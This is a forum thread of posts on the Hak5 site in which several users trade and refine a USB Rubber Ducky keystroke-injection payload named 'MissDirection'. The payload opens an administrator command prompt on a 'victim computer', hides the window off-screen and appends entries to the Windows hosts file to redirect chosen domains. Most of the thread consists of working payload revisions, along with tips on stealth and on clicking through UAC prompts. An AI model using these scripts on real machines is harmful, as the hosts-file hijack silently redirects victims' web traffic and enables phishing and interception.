[Payload] MissDirection

[Bucky67GTO]

Time for round 2 - MissDirection - Edits the hosts file of the victim computer rerouting it to wherever you choose. you can add multiple lines, but this one should give you the idea. feedback is always appreciated. Also, be sure to use the 2.2 version of the encoder. Is it worth putting in the WIKI?

DELAY 2000
ESCAPE
CONTROL ESCAPE
DELAY 400
STRING cmd
DELAY 400
CTRL-SHIFT ENTER
DELAY 400
STRING cd C:\Windows\System32\drivers\etc\
ENTER
DELAY 400
STRING echo 64.149.122.94 www.test.com>>hosts
ENTER
DELAY 400
ALT SPACE
STRING c

Edited February 6, 2013 by midnitesnake
Corrected Formatting

[overwraith]

What does CTRL+SHIFT+ENTER do?

Additionally further down the forum at this link http://forums.hak5.org/index.php?/topic/28463-the-duck-and-the-rick-role/

we made some additional modifications to a script that does essentially the same thing. Some of the noteworthy improvements include using GUI R instead of CONTROL ESC to allow this operate on non-vista/win7 devices. I think we also added a newline so we don't append to the end of the current line, and we also used a snippet that hides the command window below the bottom of the screen.

REM Author:ashbreeze96 and overwraith
GUI R
STRING cmd /Q /D /T:7F /F:OFF /V:ON /K
DELAY 500
ENTER
DELAY 750
ALT SPACE
STRING M
DOWNARROW
REPEAT 100
ENTER
STRING ECHO. >> C:\WINDOWS\SYSTEM32\DRIVERS\ETC\HOSTS
ENTER
STRING ECHO 10.0.0.1 ADMIN.COM >> C:\WINDOWS\SYSTEM32\DRIVERS\ETC\HOSTS
ENTER
STRING exit
ENTER

The delays in the forum post at the designated forum had a lot of delays that aren't usually necessary on my system.

Edited January 17, 2013 by overwraith

[mreidiv]

What does CTRL+SHIFT+ENTER do?

Additionally further down the forum at this link http://forums.hak5.org/index.php?/topic/28463-the-duck-and-the-rick-role/

we made some additional modifications to a script that does essentially the same thing. Some of the noteworthy improvements include using GUI R instead of CONTROL ESC to allow this operate on non-vista/win7 devices. I think we also added a newline so we don't append to the end of the current line, and we also used a snippet that hides the command window below the bottom of the screen.

REM Author:ashbreeze96 and overwraith
GUI R
STRING cmd /Q /D /T:7F /F:OFF /V:ON /K
DELAY 500
ENTER
DELAY 750
ALT SPACE
STRING M
DOWNARROW
REPEAT 100
ENTER
STRING ECHO. >> C:\WINDOWS\SYSTEM32\DRIVERS\ETC\HOSTS
ENTER
STRING ECHO 10.0.0.1 ADMIN.COM >> C:\WINDOWS\SYSTEM32\DRIVERS\ETC\HOSTS
ENTER
STRING exit
ENTER

The delays in the forum post at the designated forum had a lot of delays that aren't usually necessary on my system.

Yes but the delays may be necessary on your victims system.

Edited January 20, 2013 by mreidiv

[overwraith]

Yes but the delays be necessary on your victims system.

REM Author:ashbreeze96 and overwraith

CONTROL ESCAPE

STRING cmd /Q /D /T:7F /F:OFF /V:ON /K

DELAY 500

ENTER

DELAY 750

ALT SPACE

STRING M

DOWNARROW

REPEAT 100

ENTER

DELAY 50

STRING ECHO. >> C:\WINDOWS\SYSTEM32\DRIVERS\ETC\HOSTS

DELAY 50

ENTER

DELAY 50

STRING ECHO 10.0.0.1 ADMIN.COM >> C:\WINDOWS\SYSTEM32\DRIVERS\ETC\HOSTS

DELAY 50

ENTER

STRING exit

ENTER

[Bucky67GTO]

Thanks for the input. I was looking on the WIKI to find something that could manipulate the connection to the internet and did not find anything. Sorry I did not see the post earlier. I did not look within a posting for the rickroll.

What does CTRL+SHIFT+ENTER do? -> this opens the cmd window as the administrator, not sure that it works in XP, but I was focusing on Windows 7.

I really was just focusing on a quick way to manipulate the hosts file.

Edited January 17, 2013 by Bucky67GTO

[overwraith]

Wouldn't have been the first place I would have looked either, point taken.

[no42]

CTRL-SHIFT Enter is for Vista + (including Win 7/8/2008/2012)

It tells the system you want to run the program as Administrator (even if your Administrator), this is becuase of UAC (User Access Control), if you get the UAC box, confirming you wish to load said program as admin, this needs to be followed with

ALT Y

This is Vista +, NOT XP or below.

Edited January 18, 2013 by midnitesnake